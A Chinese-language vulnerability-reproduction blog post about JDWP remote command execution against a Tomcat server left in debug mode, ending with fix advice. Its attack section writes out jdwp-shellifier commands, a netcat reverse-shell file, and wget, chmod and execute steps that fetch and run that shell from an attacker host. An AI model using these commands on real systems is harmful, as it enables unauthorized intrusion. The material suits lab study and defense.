【漏洞复现】JDWP远程命令执行漏洞

0x01 简介

JPDA(Java Platform Debugger Architecture):即Java平台调试体系架构。Java虚拟机设计的专门的API接口供调试和监控虚拟机使用。

JPDA按照抽象层次,又分为三层,分别是:

  • JVM TI(Java VM Tool Interface):虚拟机对外暴露的接口,包括debug和profile。
  • JDI(Java Debug Interface):Java库接口,实现了JDWP协议的客户端,调试器可以用来和远程被调试应用通信。
  • JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类、对象、线程等信息,在调试Android应用程序这一场景中,Debugger一般是指你的 develop machine 的某一支持 JDWP协议的工具例如 Android Studio 或者 JDB,而 Target JVM是指运行在你mobile设备当中的各个App(因为它们都是一个个虚拟机 Dalvik 或者 ART),JDWP Agent一般负责监听某一个端口,当有 Debugger向这一个端口发起请求的时候,Agent 就转发该请求给 target JVM并最终由该 JVM 来处理请求,并把 reply 信息返回给 Debugger 端。

0x02 环境搭建

靶机:192.168.178.128(centos)
攻击机:192.168.178.129(kali)

1、Centos安装tomcat
Tomcat官网下载https://tomcat.apache.org/download-70.cgi,Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版。
【漏洞复现】JDWP远程命令执行漏洞_第1张图片2、解压安装tomcat

tar -zxvf apache-tomcat-7.0.108.tar.gz
mkdir /opt/tomcat
mv apache-tomcat-7.0.108 /opt/tomcat/

3、修改配置文件

cd /opt/tomcat/apache-tomcat-7.0.108/bin
vim catalina.sh
//在首行添加:
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"

连接方式有两种,为dt_shmem和dt_socket,分别表示本机调试和远程调试。address=8000 代表开启8000端口作为远程调试端口。./startup.sh启动tomcat。
【漏洞复现】JDWP远程命令执行漏洞_第2张图片4、在windows上通过jdb连接debug模式的tomcat
jdb.exe -connect com.sun.jdi.SocketAttach:hostname=192.168.178.128,port=8000
【漏洞复现】JDWP远程命令执行漏洞_第3张图片

0x03 漏洞复现

1、简单验证
telnet端口,如果返回JDWP-Handshake,即表示存在漏洞。

2、POC
(1)poc下载地址:https://github.com/IOActive/jdwp-shellifier
(2)该漏洞无回显,可利用dnslog进行探测
python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"
【漏洞复现】JDWP远程命令执行漏洞_第4张图片3、反弹shell

下面内容均在攻击机上操作:

(1)准备反弹shell文件,保存为shell.txt
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%

(2)进入到有shell文件的目录下,终端开启简单http协议,使得靶机可以下载shell文件
python3 -m http.server 8000

(3)开启监听,需要开启2个监听,前面一个输入执行命令,后面一个输出命令执行结果

nc -lvvp 3333
nc -lvvp 4444

(4)利用POC执行命令,下载shell、文件可执行权限、执行shell

python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://192.168.178.129:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"

(5)两个监听都收到shell,一个输入命令,一个输出结果
【漏洞复现】JDWP远程命令执行漏洞_第5张图片

0x04 修复建议

(1)关闭JDWP端口,或者JDWP端口不对公网开放
(2)关闭Java的debug模式

你可能感兴趣的:(漏洞复现验证,JDWP,RCE,debug)